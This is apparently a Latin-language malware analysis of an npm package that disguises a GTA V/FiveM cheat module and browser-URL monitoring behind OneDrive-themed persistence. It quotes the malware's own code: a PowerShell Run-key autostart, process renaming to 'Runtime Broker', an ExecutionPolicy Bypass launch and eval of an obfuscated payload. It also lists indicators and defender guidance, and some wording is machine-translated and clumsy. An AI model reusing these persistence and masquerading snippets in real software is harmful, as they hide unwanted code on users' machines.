TL, DR
Fasciculus npm sensibilitas se describit ut "Tabulam Moderationis Sensibilitatis." In Windows se gerit ut instrumentum moderationis remotae et vigilantiae.
Punctum ingressus eius, launcher.js, processum suum ad Runtime Broker renominat, valorem Run-key autostart nominatum scribit OneDriveUpdate quod fasciculum per VBScript occultum denuo incipit, PowerShell gignit cum -ExecutionPolicy Bypass..., deinde onus servitorem 171 KB obscuratum una cum modulo nativo 6.87 MB aestimat. sens.node.
Tabulae moderatricis coniunctionis telephonorum in portu TCP 3000 praebet et inscriptionem URL navigatoris activi per UIAutomation Windows legit, unum video YouTube rigide scriptum observans.
Duae partes quae antea ut arcae nigrae leguntur nunc solutae sunt. Servus obscuratus, server.obf.js, schema serierum litterarum RC4 obfuscator.io utitur; decodificatorem eius sine interrete (nullo JavaScript exsecuto) reimplementando unum extremum externum recuperatur — https://izopi.com/check.php — una cum clave publica RSA inclusa quae ad responsa licentiae signata verificanda adhibetur.
Modulus nativus, sens.node, non compactum est: tabula importationis et litterae inclusae eum ut DirectX 11 / Dear ImGui in-game overlay identificant, quae functiones aimbot, ESP (wall-hack), et triggerbot praebet, iniectione processus remoti et lectionibus/scriptionibus memoriae impulsa.
Litterae intus entitates vehiculorum et locos in tabula geographica cum GTA V / FiveM congruentes referunt. Fasciculus "npm" est involucrum traditionis et persistentiae circa illum modulum nativum.
Signum definitum est operativum, non technicum: unus editor ignotus circiter septuaginta versiones unius fasciculi edidit — 2.5.0 per 2.5.69 — per paucos dies, uterque eundem iaculatorem portantes.
Nullae installationes sunt hooksSarcina tantum currit cum fasciculus incipitur.
Impetus: Quomodo Operatur
`sensitivity` decem fasciculos distribuit. `package.json` sparsum est: nullus ager repositorii, nulla licentia, unum alias `main` et duo `bin` (`sensitivity`, `sens`) omnia ad `launcher.js` spectantia, et scriptum initiale `node launcher.js`. Nulla `postinstall` vel `preinstall` est. Nihil in `npm install` incipitur. Modus agendi infra descriptus currit cum usor fasciculum incipit — per `bin shim`, scriptum initiale, vel `require`.
Ars programmandi "tarball" continet programmatum "launcher", servitorem obscuratum, modulum nativum, scriptum Visual Basic, et directorium publicum/web pro tabula moderatrice. "launcher.js" est orchestrator legibilis; logica quae tempore executionis interest in duobus fragmentis quos oneravit residet — servitore obscurato et modulo nativo compilato, ambo infra resoluti.
Personatio processus et falsus renovator OneDrive
Primo in executione, launcher.js nomen suum processus bis ponit:
javascript process.title = 'Runtime Broker'; Runtime Broker est processus legitimus Fenestrae (RuntimeBroker.exe) qui permissiones applicationum mediatur. Processum Node renominando ut ei congruat, brevis inspectio in Task Manager nihil insolitum ostendit.
Persistentia per PowerShell potius quam per API registri directam scribitur:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Valor autostart OneDriveUpdate nominatur, nec fasciculum directe spectat. Ad wscript.exe, fasciculum OneDrive.Standalone.Updater.vbs inclusum currens, spectat. Hoc scriptum node launcher.js in fenestra occulta denuo incipit. Tam nomen clavis "Run" quam nomen fasciculi VBScript notam Microsoft mutuantur, ita ingressus autostart ut munus consuetum OneDrive legitur.
PowerShell cum praetermissione rationis executionis
Programma initiationis (seu "emission") iterum atque iterum ad PowerShell mittit. Receptaculum quod scrutatores ut criticum indicant est initium fasciculi .ps1 generati cum ratione executionis inactiva:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); `ExecutionPolicy Bypass` probationem localem subscriptionis scriptorum pro illa invocatione removet. Scripta generata opera inspectionis navigatoris et detectionis fenestrarum, quae in sequenti sectione descripta sunt, tractant.
Servus obscuratus et modulus nativus
Post institutionem, launcher.js verum onus suum oneratur et exsequitur:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));`server.obf.js` est 171 KB obscurationis `_0x-array` — exemplar JavaScript ubi quaeque series litterarum et identificator indice in seriem permutatam substituitur, deinde tempore executionis dereferențiatur. Schema est varietas RC4 a `obfuscator.io` producta: una functio decodificatoris base64 inscriptionem seriei decodificat, deinde RC4 eam clave per invocationem decryptat. Reimplementatio illius decodificatoris in scripto separato — solum reimplementationem super seriem litterarum 821 inscriptionum extractam currendo, numquam JavaScript proprium fasciculi — eam pure explicat. Quod apparet modestum est sed de...cisiva: una URL externa, "https://izopi.com/check.php", constanti LICENSE_URL assignata; RSA PUBLIC_KEY_PEM" inclusa; tabulae locales viae sunt `/api/kill,` `/api/qr.png,` `/api/trigger,` `/api/url,` `/trigger/off,` et `/trigger/status`; et litterae `child_process,` `crypto,` et `[Sensivity] sens.node` onustae — ultima est linea exacta diarii quam programma programmatis `modulum onustum` rescribit. Finis est probatio licentiae: cliens identificatorem ponit (servitor obscuratus litteram `Discord ID: %s` formattat) et clavis RSA responsionem a servitore signatam verificat.
`sens.node` est additamentum compilatum nativum 6.87 MB, et non compactum est — entropia sectionis apud 5.6–6.6 stat et tabulae importationis et exportationis PE integrae sunt, ita facultates eius directe legibiles sunt. Exportat `napi_register_module_v1`, quod... standard Punctum ingressus N-API nodi, ita servus aestimatus eum requisito simplici onerabit. Tabula importationis eius est tell. Ex KERNEL32 extrahit OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, et Process32First/NextW — seriem canonicam ad alium processum locandum, memoriam intra eum allocandam, et eam memoriam legendam vel scribendam. Ex USER32 extrahit GetAsyncKeyState, GetKeyState, mouse_event, et SetCursorPos; d3d11.dll, D3DCOMPILER_43, et dwmapi pro imagine in velo superimposita, et seriem plenam WINHTTP pro vocationibus retialibus coniungit. Epigrammata inclusa nomina proprietatum sine ambiguitate praebent: "Enable Aimbot", "Aimbot FOV", "Box ESP", "Skeleton ESP", "Triggerbot", "ESP Builder", "Vehicle ESP", "Electron Anticheat detected", et vexillum "Dear ImGui" pro "Dear ImGui 1.91.3 WIP". Epigrammata loci et entitatum, ut "Grapeseed Medical Clinic" et vocabularium "vehicle-ESP", cum GTA V / FiveM congruunt.
Divisio reapse deliberata est: fasciculus "launcher.js" legibilis solum partes quas scrutator facile legit portat — persistentiam, personam mutatam, ipsam invocationem "eval" — dum obscuratio unum hospitem externum contactus temporis executionis celat, et fasciculus binarius tegumentum ludi et logicam injectionis processus continet. "Launcher" est testa tenuis et inspicienda; servitor obscuratus identitatem retiaculi celat; modulus nativus est sarcina. Importationes et series litterarum binarii ut lectas describimus; propositum operatoris ex eis non concludimus.
Tabula moderandi coniunctionis telephonicae in portu 3000
Instrumentum programmandi ("launcher") servum interretialem localem in portu TCP 3000 administrat et eum ut singleton tractat. Auditorem existentem quaerit et eum purgat antequam coniungat:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Tabula per http://localhost:3000 attingi potest, cum URL subsidiaria LAN fixa est http://192.168.1.16:3000. Directorium "public/" et modus agendi tabulae congruunt cum fluxu paria QR: telephonum codicem perscrutatur et cum hospite ut remotus coniungitur. Nullum dominium externum imperii et moderationis in textu claro in programmate initiatorio apparet — sed, ut deobfuscatio supra demonstrat, unum in servo obscurato praesens est: finis licentiae izopi.com. Tabula ipsa localis est et in LAN ambitus; solus hospes egressus est illa probatio licentiae.
Exemplar supervisoris/operarii seiunctum processum vivum servat. Programma initians se iterum generat cum vexillis ambitus SENSIVITY_SUPERVISOR et SENSIVITY_WORKER, quoquo filio occulto currente, ita unum processum interficiendo custos relinquitur qui eum denuo incipiat.
Vigilantia Navigatoris et Signum YouTube
Modus agendi specificissimus est monitorium navigatoris. `launcher.js` PowerShell construit quod UIAutomation Windows ad legendum vectem inscriptionum navigatoris currentis impellit:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', `ValuePattern` textum elementi UI reddit. Adhibitus moderationi mutationis in vecte inscriptionum navigatoris, URL quam victima in praesenti spectat reddit — sine extensione navigatoris, sine tangendo imagine in disco, et sine hamo API. Scriptum generatum indicem `$browserNames` iterat et URL vel titulum fenestrae cuiuslibet navigatoris in primo plano positi extrahit.
Illa URL contra unum scopum rigide definitum probatur:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Programma programmandi in repetitione trium secundorum fenestram navigatoris YouTube ostendentem perquirit, et PowerShell generata par "Get-YouTubeBrowser / Test-TargetYouTubeUrl" portat quod cum identificatore illius video congruit. Effectus observabilis duplex est: URL navigationis activae ex velo victimae legitur, et interactio moderatoris cum uno video YouTube specifico detegitur. Mechanismum et scopum describimus; causam ex eis non deducimus.
Lectio in vecte inscriptionum est quod scrutator "sensitive_data_enumeration" appellat — fons Process::env et UIAutomation qui tempus executionis reti-capax alit. In isolatione benignum videtur et solum ad vigilantiam resolvitur cum cyclus vitae datorum a fonte UIAutomation ad servum obscuratum investigatur.
Evolutio Chronologica et Versionis
Sensibilitas non est immissio semel tantum. Ratio editoris circiter septuaginta versiones huius singularis fasciculi publicatas habet, et novae per tempus recensionis advenerunt. Programma programmandi "initium" (prototypum) functione post functionem per lineam 2.5.x crescit, dum persistentia et oneratio sarcinae fixae manent.
| Dies (UTC) | Versiones observatae | Status emissoris |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Initiator tabulae QR fundamentalis; persistentia clavis "Run"; aestimatio servi obscurati. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Eadem impressio digitalis; suppressio vestigii consolae. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Metam YouTube fixam addit. wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Lacunae implendae per totam seriem republicatio; supervisor/custos operariorum. |
Lectio programmatis "emulatoris" per versiones receptas — 2.5.0, 2.5.36, et 2.5.69 — quattuor gradus ostendit. Primae versiones programmatis "emulatorem" fundamentalem copulationis QR ferunt. A versione 2.5.33, instrumentum colligendi inscriptionum UIAutomation apparet. A versione 2.5.58, stratum administrationis supervisoris additur. A versione 2.5.64, "custos supervisoris/operarii" separatus seriem complet. Per totum tempus, quattuor res numquam mutantur: clavis "OneDriveUpdate Run", dropper OneDrive.Standalone.Updater.vbs, server.obf.js probatum, et modulus nativus sens.node.
Unda diei V mensis Iunii anni MMXXVI insignis est quia numeros versionum humiles — a 2.5.0 ad 2.5.15 — iterum divulgavit, qui infra versiones diebus ante confirmatas sunt. Effectus est linea 2.5.x contigua in registro, quarum unaquaeque versio eundem programmatum initiatorem gerit.
Indicia compromissi
Omnes indices infra directe ex fasciculo "tarball" fasciculi lecti sunt. Programma legibile "launcher" tantum "loopback" et inscriptionem LAN privatam portat; unum nomen externum, izopi.com, per deobfuscationem server.obf.js offline recuperatum est.
| Type | Indicis | Notes |
|---|---|---|
| sarcina | npm:sensivity (≈70 versiones, 2.5.0-2.5.69) | Editor fasciculi singularis; nullum repositorium; sine licentia. |
| file | launcher.js | Orchestrator legibilis; scopus principalis et bin. |
| file | server.obf.js (≈171 KB) | `obfuscator.io` sarcina seriei litterarum RC4, onusta per `onus` eval(fs.readFileSync(...)). |
| file | sens.node (≈6.87 MB) | Additamentum N-API Nodi PE32+ x86-64; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| file | OneDrive.Standalone.Updater.vbs | Relanzator occultus (node launcher.js). |
| Network | https://izopi.com/check.php | Finis licentiae/auctoritatis ex servo obscurato recuperatus; clavis publica RSA inclusa responsa verificat. |
| capability | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Iniectio processus remoti et facultas legendi/scribendi memoriae. |
| capability | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | Superpositio ludi DirectX 11 / ImGui quae functiones "aimbot", "ESP", et "triggerbot" implementat. |
| subcriptio | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Valor initii automatici indicans wscript.exe et programmatis VBScript initiator. |
| process | process.title = 'Runtime Broker' | Se gerit ut legitimus processus Windows Runtime Broker. |
| Disordines morum | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Praetermissio rationis executionis adhibita pro scripturis PowerShell generatis. |
| Disordines morum | UIAutomation ValuePattern lectio inscriptionis vectis navigatoris | URL fenestrae navigatoris in primo plano legit. |
| Disordines morum | Identificatio video destinata wJWta2lO0LwSuffragia YouTube trium secundorum | Signum monitorium implicationis fixae. |
| Network | http://localhost:3000subsidium http://192.168.1.16:3000 | Tabula moderandi coniunctionis QR et localiter et in LAN exposita. |
| Environment | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Vexilla coordinationis processus custodis separati. |
Attributio, Impactus, et Defensores
Fasciculus a ratione singulari npm divulgatur, cuius inscriptio electronica declarata est inscriptio Gmail non verificata. Ratio famam in registro valde negativam habet, hoc unum fasciculum tantum conservat et divulgat, et nullum repositorium fontium coniunctum habet. Dominium inscriptionis electronicae non verificavimus et expeditionem rationi editoris, non ulli individuo nominato, tribuimus. Programma initiandi nullam infrastructuram textus clari portat, sed unus hospes externus nunc notus est: servus obscuratus izopi.com pro probatione licentiae contactat, et modulus nativus — ex tabula importationis et filis lectus potius quam inverso instructione per instructionem — est superpositio ludi quae in memoriam alterius processus iniicit et legit.
Impetus observabilis in usores Windows incidit qui "sensitive" instituunt et exsequuntur, utilitatem tabulae moderatricis expectantes. In his machinis, fasciculus persistentiam autostart, personam OneDrive simulans, se renominat ut processum systematis imitetur, URL cuiuscumque usus perlustrat legit, et tabulam copulationis constituit quae machinam cum remoto per rete locale coniungit. Custodis supervisoris/operarii significat necem singularem processus eum non removere; ingressus clavis "Run" post recomputationem supervivit. macOS et Linux a programmate "launcher" non petuntur — viae persistentiae, PowerShell, et UIAutomation tantum Windows-idoneae sunt.
Defectio septuaginta versionum est mos notandus. Si fasciculum unum decies intra paucos dies iterum ederes, etiam numeris versionum infra eos qui iam remoti sunt, exemplar vivum in registro inter remotiones servatur et indices versiones clausas impedit. Inscriptio in indice clausorum pro sensitivity@2.5.61 nihil contra sensitivity@2.5.3 postero die iterum edictum facit.
Defensores secundum haec agere possunt:
- Sensibilitatem nominis fasciculi in indicibus permissis procuratoris registri et CI omnino impedi. Versiones singulares figere cadentiam republicationis perdit; nomen ipsum est index durabilis.
- Quaere valorem `Run` nomine `OneDriveUpdate` cuius data `wscript.exe` contra `.vbs` in via per usorem invocat. Verus `OneDrive updater` hoc modo non registratur.
- Monitum de processu Node.js cuius processus.title est Runtime Broker. Verus broker est RuntimeBroker.exe, non Node runtime.
- Vexillum npm tempore institutionis fasciculorum, qui additamentum .node compilatum necnon eval(fs.readFileSync(…)) fasciculi .obf.js sororis continent, adhibe. Illud par — binarium nativum opacum iuxta textum obscuratum onustum — est indicium structurale hic, independens ab ullo IOC litterarum.
- Quemvis auditorem localiter conexum in portu 3000, a processu Node inopinato generatum, tamquam suspectum in terminalibus Windows administratis tracta.
- Impedire vel de petitionibus externis ad izopi.com ab fabricatoribus vel usoribus finalibus missis certiores facere potes; hic solus finis externus fasciculi est, qui apud /check.php a servo obscurato attingitur.
- Pro quolibet additamento .node incluso, tabulam importationis inspice antequam ei fidem habeas. Combinatio OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread est iniectio processus remoti, quidquid fasciculus facere profitetur; hic iuxta superpositionem Direct3D et series litterarum aimbot/ESP/triggerbot sedet.
Ad analysin staticam pipelineForma convictionis per totam mutationem versionum diuturna est: forma institutionis extra reticulum, assignatio tituli processus nomini systematis processus noto, scriptura clavis "Run" per PowerShell, et aestimatio fasciculi e disco lecti. Nihil horum a dominio, IP, aut numero versionis pendet quem proxima publicatio iterum removere potest.
References
[npm: sensibilitas] – pagina registri pro linea versionis fasciculi hic disputata; remotioni obnoxia.
